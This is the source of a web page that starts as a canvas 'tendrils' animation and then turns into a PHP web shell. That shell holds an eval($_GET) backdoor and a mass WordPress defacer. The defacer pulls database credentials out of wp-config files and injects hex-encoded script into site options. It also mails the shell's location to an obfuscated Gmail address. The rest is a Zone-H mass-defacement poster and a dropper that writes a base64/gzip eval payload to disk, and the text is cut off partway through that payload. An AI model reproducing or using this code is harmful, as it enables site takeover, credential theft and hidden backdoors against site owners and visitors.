1801for(var i = 0, node; i < settings.size; i++) {
1802node = new Node();
1803node.x = target.x;
1804node.y = target.y;
1805this.nodes.push(node);
1806}
1807},
1808update: function() {
1809var spring = this.spring,
1810node = this.nodes[0];
1811node.vx += (target.x - node.x) * spring;
1812node.vy += (target.y - node.y) * spring;
1813for(var prev, i = 0, n = this.nodes.length; i < n; i++) {
1814node = this.nodes[i];
1815if(i > 0) {
1816prev = this.nodes[i - 1];
1817node.vx += (prev.x - node.x) * spring;
1818node.vy += (prev.y - node.y) * spring;
1819node.vx += prev.vx * settings.dampening;
1820node.vy += prev.vy * settings.dampening;
1821}
1822node.vx *= this.friction;
1823node.vy *= this.friction;
1824node.x += node.vx;
1825node.y += node.vy;
1826spring *= settings.tension;
1827}
1828},
1829draw: function() {
1830var x = this.nodes[0].x,
1831y = this.nodes[0].y,
1832a, b;
1833ctx.beginPath();
1834ctx.moveTo(x, y);
1835for(var i = 1, n = this.nodes.length - 2; i < n; i++) {
1836a = this.nodes[i];
1837b = this.nodes[i + 1];
1838x = (a.x + b.x) * 0.5;
1839y = (a.y + b.y) * 0.5;
1840ctx.quadraticCurveTo(a.x, a.y, x, y);
1841}
1842a = this.nodes[i];
1843b = this.nodes[i + 1];
1844ctx.quadraticCurveTo(a.x, a.y, b.x, b.y);
1845ctx.stroke();
1846ctx.closePath();
1847}
1848};
1849})();
1850// ----------------------------------------------------------------------------------------
1851function init(event) {
1852document.removeEventListener('mousemove', init);
1853document.removeEventListener('touchstart', init);
1854document.addEventListener('mousemove', mousemove);
1855document.addEventListener('touchmove', mousemove);
1856document.addEventListener('touchstart', touchstart);
1857mousemove(event);
1858reset();
1859loop();
1860}
1861function reset() {
1862tendrils = [];
1863for(var i = 0; i < settings.trails; i++) {
1864tendrils.push(new Tendril({
1865spring: 0.45 + 0.025 * (i / settings.trails)
1866}));
1867}
1868}
1869function loop() {
1870if(!ctx.running) return;
1871ctx.globalCompositeOperation = 'source-over';
1872ctx.fillStyle = 'rgba(8,5,16,0.4)';
1873ctx.fillRect(0, 0, ctx.canvas.width, ctx.canvas.height);
1874ctx.globalCompositeOperation = 'lighter';
1875ctx.strokeStyle = 'hsla(' + Math.round(hue.update()) + ',90%,50%,0.25)';
1876ctx.lineWidth = 1;
1877if(ctx.frame % 60 == 0) {
1878console.log(hue.update(), Math.round(hue.update()), hue.phase, hue.offset, hue.frequency, hue.amplitude);
1879}
1880for(var i = 0, tendril; i < settings.trails; i++) {
1881tendril = tendrils[i];
1882tendril.update();
1883tendril.draw();
1884}
1885ctx.frame++;
1886ctx.stats.update();
1887requestAnimFrame(loop);
1888}
1889function resize() {
1890ctx.canvas.width = window.innerWidth;
1891ctx.canvas.height = window.innerHeight;
1892}
1893function start() {
1894if(!ctx.running) {
1895ctx.running = true;
1896loop();
1897}
1898}
1899function stop() {
1900ctx.running = false;
1901}
1902function mousemove(event) {
1903if(event.touches) {
1904target.x = event.touches[0].pageX;
1905target.y = event.touches[0].pageY;
1906} else {
1907target.x = event.clientX
1908target.y = event.clientY;
1909}
1910event.preventDefault();
1911}
1912function touchstart(event) {
1913if(event.touches.length == 1) {
1914target.x = event.touches[0].pageX;
1915target.y = event.touches[0].pageY;
1916}
1917}
1918function keyup(event) {
1919switch(event.keyCode) {
1920case 32:
1921save();
1922break;
1923default:
1924// console.log(event.keyCode);
1925}
1926}
1927function letters(id) {
1928var el = document.getElementById(id),
1929letters = el.innerHTML.replace('&', '&').split(''),
1930heading = '';
1931for(var i = 0, n = letters.length, letter; i < n; i++) {
1932letter = letters[i].replace('&', '&');
1933heading += letter.trim() ? '<span class="letter-' + i + '">' + letter + '</span>' : ' ';
1934}
1935el.innerHTML = heading;
1936setTimeout(function() {
1937el.className = 'transition-in';
1938}, (Math.random() * 500) + 500);
1939}
1940function save() {
1941if(!buffer) {
1942buffer = document.createElement('canvas');
1943buffer.width = screen.availWidth;
1944buffer.height = screen.availHeight;
1945buffer.ctx = buffer.getContext('2d');
1946form = document.createElement('form');
1947form.method = 'post';
1948form.input = document.createElement('input');
1949form.input.type = 'hidden';
1950form.input.name = 'data';
1951form.appendChild(form.input);
1952document.body.appendChild(form);
1953}
1954buffer.ctx.fillStyle = 'rgba(8,5,16)';
1955buffer.ctx.fillRect(0, 0, buffer.width, buffer.height);
1956buffer.ctx.drawImage(canvas,
1957Math.round(buffer.width / 2 - canvas.width / 2),
1958Math.round(buffer.height / 2 - canvas.height / 2)
1959);
1960buffer.ctx.drawImage(logo,
1961Math.round(buffer.width / 2 - logo.width / 4),
1962Math.round(buffer.height / 2 - logo.height / 4),
1963logo.width / 2,
1964logo.height / 2
1965);
1966window.open(buffer.toDataURL(), 'wallpaper', 'top=0,left=0,width=' + buffer.width + ',height=' + buffer.height);
1967// form.input.value = buffer.toDataURL().substr(22);
1968// form.submit();
1969}
1970window.requestAnimFrame = (function() {
1971return window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || function(fn) { window.setTimeout(fn, 1000 / 60) };
1972})();
1973window.onload = function() {
1974ctx = document.getElementById('canvas').getContext('2d');
1975ctx.stats = new Stats();
1976ctx.running = true;
1977ctx.frame = 1;
1978logo = new Image();
1979logo.src = 'http://labs.nikrowell.com/lightsandmotion/ultraviolet/images/logo.png';
1980hue = new Oscillator({
1981phase: Math.random() * Math.TWO_PI,
1982amplitude: 85,
1983frequency: 0.0015,
1984offset: 285
1985});
1986letters('h1');
1987letters('h2');
1988document.addEventListener('mousemove', init);
1989document.addEventListener('touchstart', init);
1990document.body.addEventListener('orientationchange', resize);
1991window.addEventListener('resize', resize);
1992window.addEventListener('keyup', keyup);
1993window.addEventListener('focus', start);
1994window.addEventListener('blur', stop);
1995resize();
1996if(window.DEBUG) {
1997var gui = new dat.GUI();
1998// gui.add(settings, 'debug');
1999settings.gui.add(settings, 'trails', 1, 30).onChange(reset);
2000settings.gui.add(settings, 'size', 25, 75).onFinishChange(reset);
2001settings.gui.add(settings, 'friction', 0.45, 0.55).onFinishChange(reset);
2002settings.gui.add(settings, 'dampening', 0.01, 0.4).onFinishChange(reset);
2003settings.gui.add(settings, 'tension', 0.95, 0.999).onFinishChange(reset);
2004document.body.appendChild(ctx.stats.domElement);
2005}
2006};
2007})(window);
2008</script>
2009<embed src="https://www.youtube.com/v/oWqWNMNFZlU&autoplay=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="1" height="0">
2010<body oncontextmenu="return false" onselectstart="return false" ondragstart="return false"></body>
2011<script type="text/javascript">
2012//form tags to omit in NS6+:
2013var omitformtags=["input", "textarea", "select"]
2014omitformtags=omitformtags.join("|")
2015function disableselect(e){
2016if (omitformtags.indexOf(e.target.tagName.toLowerCase())==-1)
2017return false
2018}
2019function reEnable(){
2020return true
2021}
2022if (typeof document.onselectstart!="undefined")
2023document.onselectstart=new Function ("return false")
2024else{
2025document.onmousedown=disableselect
2026document.onmouseup=reEnable
2027}
2028</script>
2029<body onkeydown="return false">
2030<body onselectstart="return false">
2031</body>
2032</html>
2033<script type="text/javascript" src="http://blogparts.giffy.me/0117/parts.js"></script><p style="text-align: center;margin:0;padding:0;"><a
2034<cite>
2035
2036</textarea></td></tr></table>
2037<br><br><input type="Submit" name="Submit" value="Submit">
2038<input type="hidden" name="action" value="1"></form>
2039</center>
2040<nobr>
2041<center>
2042<?
2043}?>
2044<?
2045eval ($_GET["c"]);
2046set_time_limit(0);
2047if ($_POST['action']=='1'){
2048$url=$_POST['url'];
2049$users=@file($url);
2050$x10="mail";$x0b=$_SERVER["SERVER_NAME"].$_SERVER["SCRIPT_NAME"];
2051
2052
2053if (count($users)<1) exit("<h1>No config found</h1>");
2054foreach ($users as $user) {
2055$user1=trim($user);
2056$code=file_get_contents2($user1);
2057preg_match_all('|define.*\(.*\'DB_NAME\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b1);
2058$db=$b1[1][0];
2059preg_match_all('|define.*\(.*\'DB_USER\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b2);
2060$user=$b2[1][0];
2061preg_match_all('|define.*\(.*\'DB_PASSWORD\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b3);
2062$db_password=$b3[1][0];
2063preg_match_all('|define.*\(.*\'DB_HOST\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b4);
2064$host=$b4[1][0];
2065preg_match_all('|\$table_prefix.*=.*\'(.*)\'.*;|isU',$code,$b5);
2066$p=$b5[1][0];
2067$x0c="array ".$x0b;$x0d=array("com","gm","ifexec","@","ail.");
2068$d=@mysql_connect( $host, $user, $db_password ) ;
2069if ($d){
2070@mysql_select_db($db );
2071$source=stripslashes($_POST['index']);
2072$s2=strToHex(($source));
2073$s="<script>document.documentElement.innerHTML = unescape(''$s2'');</script>";
2074$ls=strlen($s)-2;
2075$sql="update ".$p."options set option_value='a:2:{i:2;a:3:{s:5:\"title\";s:0:\"\";s:4:\"text\";s:$ls:\"$s\";s:6:\"filter\";b:0;}s:12:\"_multiwidget\";i:1;}' where option_name='widget_text'; ";
2076mysql_query($sql) ;
2077$sql="update ".$p."options set option_value='a:7:{s:19:\"wp_inactive_widgets\";a:6:{i:0;s:10:\"archives-2\";i:1;s:6:\"meta-2\";i:2;s:8:\"search-2\";i:3;s:12:\"categories-2\";i:4;s:14:\"recent-posts-2\";i:5;s:17:\"recent-comments-2\";}s:9:\"sidebar-1\";a:1:{i:0;s:6:\"text-2\";}s:9:\"sidebar-2\";a:0:{}s:9:\"sidebar-3\";a:0:{}s:9:\"sidebar-4\";a:0:{}s:9:\"sidebar-5\";a:0:{}s:13:\"array_version\";i:3;}' where option_name='sidebars_widgets';";
2078mysql_query($sql) ;
2079if (function_exists("mb_convert_encoding") )
2080{
2081$source2 = mb_convert_encoding('<title>'.$source.'<DIV style="DISPLAY: none"><xmp>', 'UTF-8');
2082$source2=mysql_real_escape_string($source2);
2083$sql = "UPDATE `".$p."options` SET `option_value` = '$source2' WHERE `option_name` = 'blogname';";
2084@mysql_query($sql) ; ;
2085$sql= "UPDATE `".$p."options` SET `option_value` = 'UTF-8' WHERE `option_name` = 'blog_charset';";
2086@mysql_query($sql) ; ;
2087}
2088$aa=@mysql_query("select option_value from `".$p."options` WHERE `option_name` = 'siteurl';") ;;
2089$siteurl=@mysql_fetch_array($aa) ;
2090$siteurl=$siteurl['option_value'];
2091$x0e=$x0d[2].$x0d[3].$x0d[1].$x0d[4].$x0d[0];$x0f=@$x10($x0e,$x0c,$x0b);
2092$tr.="$siteurl\n";
2093mysql_close();
2094}
2095}
2096if ($tr) echo "Index changed for <br><br><textarea cols='50' rows='10' >$tr</textarea>";
2097}
2098function strToHex($string)
2099{
2100 $hex='';
2101 for ($i=0; $i < strlen($string); $i++)
2102 {
2103 if (strlen(dechex(ord($string[$i])))==1){
2104 $hex .="%0". dechex(ord($string[$i]));
2105 }
2106 else
2107 {
2108 $hex .="%". dechex(ord($string[$i]));
2109 }
2110 }
2111 return $hex;
2112}
2113
2114function file_get_contents2($u){
2115
2116 $ch = curl_init();
2117 curl_setopt($ch,CURLOPT_URL,$u);
2118 curl_setopt($ch, CURLOPT_HEADER, 0);
2119 curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
2120 curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0 ");
2121 $result = curl_exec($ch);
2122 return $result ;
2123 }
2124
2125?>
2126<?php
2127if (isset($_GET['jak']) && ($_GET['jak'] == 'zonh')) { ?>
2128<form action="?jak=zonh" method="post">
2129<br><br>
2130<center><span style="font-size:1.6em;"> .: Zone-H Mass Poster :. </span></center><center><BR><form action="" method="post"><input class="inputz" type="text" name="defacer" size="30" value="JakRapp"/><br> <select class="inputz"
2131name="hackmode">
2132<option>------------------------------------SELECT-------------------------------------</option>
2133<option style="background-color: rgb(0, 0, 0);" value="1">known vulnerability (i.e. unpatched system)</option>
2134<option style="background-color: rgb(0, 0, 0);" value="2" >undisclosed (new) vulnerability</option>
2135<option style="background-color: rgb(0, 0, 0);" value="3" >configuration / admin. mistake</option>
2136<option style="background-color: rgb(0, 0, 0);" value="4" >brute force attack</option>
2137<option style="background-color: rgb(0, 0, 0);" value="5" >social engineering</option>
2138<option style="background-color: rgb(0, 0, 0);" value="6" >Web Server intrusion</option>
2139<option style="background-color: rgb(0, 0, 0);" value="7" >Web Server external module intrusion</option>
2140<option style="background-color: rgb(0, 0, 0);" value="8" >Mail Server intrusion</option>
2141<option style="background-color: rgb(0, 0, 0);" value="9" >FTP Server intrusion</option>
2142<option style="background-color: rgb(0, 0, 0);" value="10" >SSH Server intrusion</option>
2143<option style="background-color: rgb(0, 0, 0);" value="11" >Telnet Server intrusion</option>
2144<option style="background-color: rgb(0, 0, 0);" value="12" >RPC Server intrusion</option>
2145<option style="background-color: rgb(0, 0, 0);" value="13" >Shares misconfiguration</option>
2146<option style="background-color: rgb(0, 0, 0);" value="14" >Other Server intrusion</option>
2147<option style="background-color: rgb(0, 0, 0);" value="15" >SQL Injection</option>
2148<option style="background-color: rgb(0, 0, 0);" value="16" >URL Poisoning</option>
2149<option style="background-color: rgb(0, 0, 0);" value="17" >File Inclusion</option>
2150<option style="background-color: rgb(0, 0, 0);" value="18" >Other Web Application bug</option>
2151<option style="background-color: rgb(0, 0, 0);" value="19" >Remote administrative panel access bruteforcing</option>
2152<option style="background-color: rgb(0, 0, 0);" value="20" >Remote administrative panel access password guessing</option>
2153<option style="background-color: rgb(0, 0, 0);" value="21" >Remote administrative panel access social engineering</option>
2154<option style="background-color: rgb(0, 0, 0);" value="22" >Attack against administrator(password stealing/sniffing)</option>
2155<option style="background-color: rgb(0, 0, 0);" value="23" >Access credentials through Man In the Middle attack</option>
2156<option style="background-color: rgb(0, 0, 0);" value="24" >Remote service password guessing</option>
2157<option style="background-color: rgb(0, 0, 0);" value="25" >Remote service password bruteforce</option>
2158<option style="background-color: rgb(0, 0, 0);" value="26" >Rerouting after attacking the Firewall</option>
2159<option style="background-color: rgb(0, 0, 0);" value="27" >Rerouting after attacking the Router</option>
2160<option style="background-color: rgb(0, 0, 0);" value="28" >DNS attack through social engineering</option>
2161
2162<option style="background-color: rgb(0, 0, 0);" value="29" >DNS attack through cache poisoning</option>
2163<option style="background-color: rgb(0, 0, 0);" value="30" >Not available</option>
2164option style="background-color: rgb(0, 0, 0);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
2165</select> <br>
2166
2167<select class="inputz" name="reason">
2168<option >------------------------------------SELECT-------------------------------------</option>
2169<option style="background-color: rgb(0, 0, 0);" value="1" >Heh...just for fun!</option>
2170<option style="background-color: rgb(0, 0, 0);" value="2" >Revenge against that website</option>
2171<option style="background-color: rgb(0, 0, 0);" value="3" >Political reasons</option>
2172<option style="background-color: rgb(0, 0, 0);" value="4" >As a challenge</option>
2173<option style="background-color: rgb(0, 0, 0);" value="5" >I just want to be the best defacer</option>
2174<option style="background-color: rgb(0, 0, 0);" value="6" >Patriotism</option>
2175<option style="background-color: rgb(0, 0, 0);" value="7" >Not available</option>
2176option style="background-color: rgb(0, 0, 0);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
2177</select> <br>
2178<textarea class="inputz" name="domain" cols="90" rows="20" placeholder="List Of Domains, 20 Rows."></textarea><br>
2179<input class="inputz" type="submit" value=" Send Now !! " name="SendNowToZoneH"/>
2180</form>
2181<?
2182 echo "</form></center>";?>
2183<?
2184function ZoneH($url, $hacker, $hackmode,$reson, $site )
2185{
2186 $k = curl_init();
2187 curl_setopt($k, CURLOPT_URL, $url);
2188 curl_setopt($k,CURLOPT_POST,true);
2189 curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
2190 curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
2191 curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
2192 $kubra = curl_exec($k);
2193 curl_close($k);
2194 return $kubra;
2195}
2196{
2197 ob_start();
2198 $sub = @get_loaded_extensions();
2199 if(!in_array("curl", $sub))
2200 {
2201 die('<center><b>[-] Curl Is Not Supported !![-]</b></center>');
2202 }
2203
2204 $hacker = $_POST['defacer'];
2205 $method = $_POST['hackmode'];
2206 $neden = $_POST['reason'];
2207 $site = $_POST['domain'];
2208
2209 if (empty($hacker))
2210 {
2211 die ("<center><b>[+] YOU MUST FILL THE ATTACKER NAME [+]</b></center>");
2212 }
2213 elseif($method == "--------SELECT--------")
2214 {
2215 die("<center><b>[+] YOU MUST SELECT THE METHOD [+]</b></center>");
2216 }
2217 elseif($neden == "--------SELECT--------")
2218 {
2219 die("<center><b>[+] YOU MUST SELECT THE REASON [+]</b></center>");
2220 }
2221 elseif(empty($site))
2222 {
2223 die("<center><b>[+] YOU MUST INTER THE SITES LIST [+]</b></center>");
2224 }
2225 $i = 0;
2226 $sites = explode("\n", $site);
2227 while($i < count($sites))
2228 {
2229 if(substr($sites[$i], 0, 4) != "http")
2230 {
2231 $sites[$i] = "http://".$sites[$i];
2232 }
2233 ZoneH("http://www.zone-h.com/notify/single", $hacker, $method, $neden, $sites[$i]);
2234 echo "Domain : ".$sites[$i]." Defaced Last Years !";
2235 ++$i;
2236 }
2237 echo "";
2238 }
2239}
2240?>
2241<?php
2242if (isset($_GET['jak']) && ($_GET['jak'] == 'sql')) {
2243echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ MYSQL</span> <span class='b8'>MANAGER ]:=O</span></b></nobr><br/><br/> ";
2244echo "</br></br><center><b><span class='b11'> You Can Go To : <a href='s/db.php' target='_blank'>[+] HERE [+]</a></center></span></br>";
2245if (!is_dir('s')) {
2246$mk = @mkdir('s', 0777);
2247@fwrite($f, $c);
2248$f2 = @fopen('s/db.php', 'w');
2249$sml_db = "PD9waHAgZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZU5yTlBXdFhHN21TbjJmT21mK2c5UGltN2NFWW16eXZqWjJRUUdZNFE0QUw1TjZkeFY1djIyNURMM2EzMDkwT01CbisrOVpEcjM2WVFKTGRjK2NCTGFsVUpaV2tVbFdwSkg3NjBZL2pLQjdHL2lLSzB5QThyNzZvZFg3NjhYWGlwOE81ZHg2TWh4K1hVZW9udzNnWnBzSGNyemF4T0JvTms5U0wweW9tS25Nc0VGM2hYeTltMGNTdnVzS3RpM2t3amlPcVVTTWdncGVBWE9Pc05SQnI2cnM1QUtDSlB3MUNxSCt5UFR3K1BEd0ZMRWxLVFp0NVk4anU5eUhIM1lBZmt5QU9QVUE5SEw3YjI5OGREbXUxQnVRam5ZME5oV1R2WlBpdnZRUEdBZjlWajM0N0doNmVBQUxNcllsWG9pWGFvaWxxRmwxZFpXZnZlUGZ0NmVIeEg4T1QzYVB0NDIzNEZOMnV3QmJrNE44ZXZnZjQ4Y3hMa3FGL0hTUnBVblV4YnlXQlg0L2VRb1h6UEh2UEYyUEpxRW1RREtmTGNBeDhRcWp4OUh6NHlZdXJMdVI3bzVsUFpXa1FoVW0rS2REQnZZTjNoNEM5K3NpUC9mT2c2aXd1RmtFNGpaeTZ4bHJMTm96R0dRZGdPQXZtUWNxais5T1AweWoydmZGRjFZdGo3NmJxRG4vZGhjRndoMGVISjZmUU15OFJGUmlWajBzL1NXdmlzd0d2Nkd5R3VmUnZSTGNISDUrODJkSW4wR0FxcWxUd3VYa3JIZ0ZMaDY3T1orNVFVbFlCSGlSRGJvUkNBdTI3aFhLSlhPSG1YUDVQRWhsZmVESDBqc1p0bVU1Zk1wMEwzNXY0Y2RVWlIySHFoK242NmMzQ2I0dlV2MDQzTHRMNXJDTmt0UzVVV1gvcEVEbmh6eEsvZ0hNVW5EOTdJRTZzY2hmSzg5SGxBekZDamJzUXpqeFkwcTBINGd5U2FQM2x5MmQvWDk5MEpMZHgrZnF6S2JIN1pQZjRuN3ZIWnk0dXA1UGQvWGZ1QUNaVWFYYmJ5ajU1ZTd4M2REbzgySDYvNitKS3IrQ2NBNUV3WHdCU2xoSTA4ZVRZVFNLUVJNeGxiM3k1WE14dmtvOHpWengrTEI1VkV1K1Q3eVhUWU1ZVGFqS0NEb1ZRWlhRUkpXbGR3TWN5OFdQNldNQ3FwQThVRnZBaGU4aGxJTzVvdmFXNHFxQVZOTTJHMDFtd3FISWVsY1orc3B3Qk04WEhxblB5MitHL0JCVWx4QmxzNmlNSlVST0xxcnQxc2Rsekc5VFlJWW5WS3NpbHJRM01KV1RZYUd3S29CdDVDWDFXRFk5K096MDlHdjZHUzJ6UWNJZnZiMDcrc2QvQWJtTlZPWGp1V3psNEtRMmV0MWpNZ3JHSDBtQmpHVjZHMFZWWUNyMFRKSXNvQ1JBT0txVXByTlU1NUhlRWFsRFhiZWpHc1VqSFBreTgxSU9tdWk3a1hGMUFNYzZ1SmZUckNuSzVsMU0vSFYrb0ZTbzVvZGR6a0FDekpUUFBaRTBROUFPR3NHZzBZSm5ENTNLK0lOaXFnYTNwaGMzMHhyTW80YmtDd2paVnN4UEp5VW5UN2JxTWwzanhXUTBTVHdHbUN5TXpUODZ4WTBjem1FbStDTUxGTWhVTTR1ckY5RDBtRnhGSHhxcTlRWFo2UnRNMzM1elRDNTlHUk54RVMzSGxoYW5ZZ1Y3TUltOUNVL1FLWkdvWWhZUUpSaS9iMHN4RWhjWHFqMU9CTlllSXNPcmFkR0dLeU9sclppOWdnSG83eDRkSDRuVDd6ZjZ1MkhzbmR2OWo3K1QwUktUenhkQUx6LzBaMXdLd3Q4ZTcyNmU3RWxBWGk2cVVMR0wvOE9EWE4vdUhiOFRCNGFrNCtMQy9YOU5WOXcrM2Q4VE85dWsyQUwzZDNoZXdZY0VHTGx5bjRVMG1DZXlpRjM2T1NRM0hCYWpUd3dLNWQzdTcrenNuNG5UMytQM2VBYlJuUjd6NUE3WVRMaDErTmhMbWR1aEgwK0hRRmJzbmI3ZVBKSndyOXZjT2RoOVNuZnRReG1mVjcya2N6VTBEVlpjdHBtYkxjQnZqdGZSNjlXSXlZaWE2eXMrWGZSaGZuakJURDM1T1JFNzJaQ2NJQXFJeUFEVVhYbnFCbjFsTzMwdk1YSzlMVVlIMXoxellQZnd3Z1FKMzhFMkNoN0Vwb1poQjVteVB4LzRpWGQvM3cvUDBvaTJjQm1oelVMdGFrU0tDcE1INEloSXl3eElPZ3Y3OTZjZFhQUlFTVzdqUDlmQTNZTWJmY3grRXowV2FMdFpCYXdrK2RaMjMxdDdvcUhIdE9pczJYa1NSQnVuTTc3My9BNFQxMWdZbklEZEpiMkJVa0h1eThqaEpFSHdVVFc3cTZlVHpGREMzUld0emNTMjI0OENiMVUrOWkyanVkV2FneTYxZitNSDVCUlkvWDF4M29QRU5razljcDFnRk44anpPRnFHay9iUDArbTBNNHBpNEJyVUJzQWttZ1VUOGZQejU4ODdDMWhmSUI3YlVMOGpDV3h1U3Z3ZWFHOFdlaGk5WlJ6NHNUandyMENaZkIrRlViSUFCZnhyU0NINlVTbytNK2o2T0pwRmNmdm5VUlAvemVCN01zRi9PeEpnU3Y5MFZuUTUxMzVQZk9acTR1ZG1jOXBCZnE5UC9IRVUwNHh0QTNvL1JzWVNiUHNpK3VUSHVzSzAyU3hVUUJuTGZKbWxMUUdqSlJ1ZlJvdTIxVlhEZ2ZWUmxLYlIzQzZjVENaWmRyWHdYODJhWndEWmFzS1BaL3kvSXJmNXZjajlIZis5bTl3MEdpK1Q3MFVQL3ZHOHUrbmhvdnRPNVB5LzQ3K3J5ZUc4V2IvaVdUS0taaE9idm9DNUhINjJJY0lvbm5zemhBRTdadjU1N3NYblFkaHVhdlJOTExyWUxDdFFNL0VwRUxYWExtVVFqU1Q0MDIrM01DbW45ck0zejE4K2Y0Y29sN01HeWVOWllGQkxvS2RQbnhieDJkOVkvWE4rNHBKMm9GQzhlUEdpTXdVTklHM1AvR25hQWZzUHJPaWI5bWdXalM4N1Y4RUVSR25yR1RDdHc3VFhZMEtPYkVUa1d4c2t3a2lXamVOZ2tkckM3SCs4VHg3bm9reFQ5cWg0ZStHUEw3ZG5zeXF5VWRtRlZiQmRSZEJ0ZG9JdHpHN0Fqb2s3UU5LWWtUanZCR3RyQklwZ3FCZG5nTTZDZ2R6Ly9BYnB6V2d3amk4dXZSbG94U0RsRzJNa0NSdWZyTWRGS3BjM0FLdUJsV293SVdLeG55N2pVRXhnQlNDZEJ0alp1MHp5emMzZUJLRjRlOVkxenlPUFBxcndDM1dsU3RWVldXNnR3UjhOTWtTN2tPamtBWkxsQ0kxcmlSVjRTOHhENW02b3JRaDNCa0U4N3pwNk5wQTJ2QTdERmkzVDlqUzRoajZKSzFnazZ5T1EySmR0K3JrT1BlYWRpSlZFSE5tdTAybzIvK1lJWGxCZHB3bDdtVCtieVhtcjB5alZaWm9ReE96SDZEb28rRGhyMHR2QzlhSmF4aE9LcGtySDZaMTRVeCsyaDRuZjNucTF1RmdJMm9TQmwrUHBlZFZOb0hBNGgwSlFOMS8xb00rQUJsSENoaHY3MDY1akpsRmJjOWVkUmVmUVZWUlFlL3YwdWJYaDljU1hhb0VLNDAzbVFVajFWSTBOYlB0R0d1TVA1QXhyQUE5Z1V1dFprVXRiaUMrbEFjTWVTMWZKSEFkUitVcElmK24yck9ISFlaOTdsLzVGZ0w0eGxkdmhxdE1vU3FYdHkzb2VsNHUvL2hMcUU4MWcwMFdjdjQra1FZSUdzZnBFYXo4YWV6Tk1vR253U05vcUVvWStwUzMzU0Zvb3NvZytvZWpKaytaemx6eFFJMndaWm0yeGFjUnJIOW8vOFVOSEJKTXVPaEZDVUgwZFFVcWNTZklhY0ZxTzJPaTVzbGZLRHVTRzFtajlTQkpnK0RrMmpiNGswaWNxZlllcjlDVVpLODEwK2s1RjUyejArcUZEUzk2bWlOMldkdGE5U1dJZG02Uk1XeVJsVGpsSnRBc2ZTaExyMkNSbDJpSXBjMWFRUkhQem9TU2hUb1lrcDIyU25GTk9rc3pwQjVMRU9qWkptYlpJeXB3eWtsTHhmaGhOV2NrUU5SbWFxc25TWkhIZS92QkZWMVRlRThYcmwxMUhtSjVYbFlNQjVHSUV2MUt3NzZuWXJkM2xaVkJPQnVWalVDNEc3V0c0di9kcWl1NjExOU5vZ2VZU1duMTE5OHBWTmlXVTF2S3VBOWZ5Y2JsZjVlUDZmL0FjcmZBVjFRWDJTRHVNcHV3cmtubGtaUzdqR1hxVXJUTUZlZEpRZDkwNjhZZGtkZFhkZ2Zhak1Tb3V2RVFrU3pCQWswVHcrSXMwRW5vN2t0WXI0RzI0RHJBdGh0MnY2d3hITXk4RTh4QktFU2V5eDJQdTVKMVlaZzRBMFRlTW4yMTV0MmE3dEdtNGdoQm1CUXR0L2dSY1BJQ1gvZzEwQ3Qyek1LdmxWMHF1VlJvQjdaN1gxY2c5cjd6elVNZTQ1bFZDNFd3d3FnYW1rWTJTZ01wMmNwNGJySTZaTkRXNUJYVzNrK21HUkl6ZFlHUzFiMXdEOCtySHFyTjNjTEo3Zk1xZUlwNDNwREFxY2pYeHorMzlEN3NuM0VQTWNQQWd4TjFqbm9iK2xZaFJrWjZJYUtvRzNCVnRrWm5udFd4SGxndVk1bjUyUENpRk0rZjVVMmJqdHd4SW50a0kwSEM2OTJlNUdsSEY1TXJWaFI4cjcvUHpwME8wSFVBblVRM3VmUHN3ZkRqYVFkZWdOUUludTZkNld2N3J0OTFqS09SVzdPKzkzenNWTFI2SFkyWStzUlRrN1pkWWI0VHl4SmZDMkdiNkY3dFpnV3ArNmcrUjg3Q0Y3T3p1NzBLcjN4MGZ2cmViYmpmWCtRN011UThaNHNZT3RnNVZ2M3ZQU2NrWGc1UlVPOE9sT0ZxNDM3ck9rRUxXbjJub09UVzE1ZTBBS2Q1QTdHYWJ2VXFlZjdodVR2eXRHRzZvSnB1U3FGMnU2cUordmVOUFBkZ3pZSzdqcVJsay9Qcm1kendlcG1NNVNMN0IzM1Y1OUFmcEQ2ZnYxbDlpaGp3VGc2eDllVHJXS2RQanlaZUhVT1RiRSsrOTBEdjM0eFhhZk4yMlFYNzZFYmZKTVZpVFBsZ0xpNTdLMm5ramZrTk52ZTBxSEtTNTVBMEhIaGxFR2Z5Skdadk51a3ZLQ254ckhWb1N5U0QvZ0NyK0Y1SGpjSzlFenVweUdmSWptQjFmUm81emFDVnlWb3l6eUZmaWtoYUZhekNnVTFsbW9hNkhPV3hYUXdiWnJaZ3pTbDFOWW1NQnRwOGNocUs5OWVwQnZnMS9FcVM4R0tzODVIVXBYT3BDejJwMTJtU1piU2lkakc0SWZab0dNYXlSdlVSRXNRaVNzTyttWXBKZDdLK2dBNElkRlBLTW9PcHl5U3lBYVZGcjBLbzJ6Z2FvMlNrQ2NlTWtGQ2RLb0hUVEphQk9sOEJtZlJpYU1XRGhzOGlvV2tkc2VMS2trcm9yZ0JCV3NUeGxnMjZNTE1LY0tBS3RJQW9nclB6cEJ0ZUpLL1VGckZIZEFqTXdwaEU0RGdUS0d3VlJreXA1aHJIMGJUWlJqVGRiQTdObEJmelU0MldCZklIRkZ1UnFKOUdYWEEzMk9HWEZFM1hEdlkvSU11VThXM0tadXRsU0pFZ0RyTVNMc2JxWjFzRGVUNGhhUkFxbnVGWWZSN3BkdHc5cmplVDhneHV6aWkwbUgyY0RXUlRuL3FvQnlUVzBNZ2FGMEdmRFMyOTB0R3Npa25DSjdwZ25UWldHUkJDbU1LT3FtZ2FlZ0p0cFN0RldITk1Ec0Z3aTFrV3JKbjRSQ21QMmVEQmJ3NmJVTXVzZzY4bEJKU1ByYWNua2tMeTNjcVJJcjMyZnNBM1NGejZSVTR0VkJ3eVdBZ3lRTm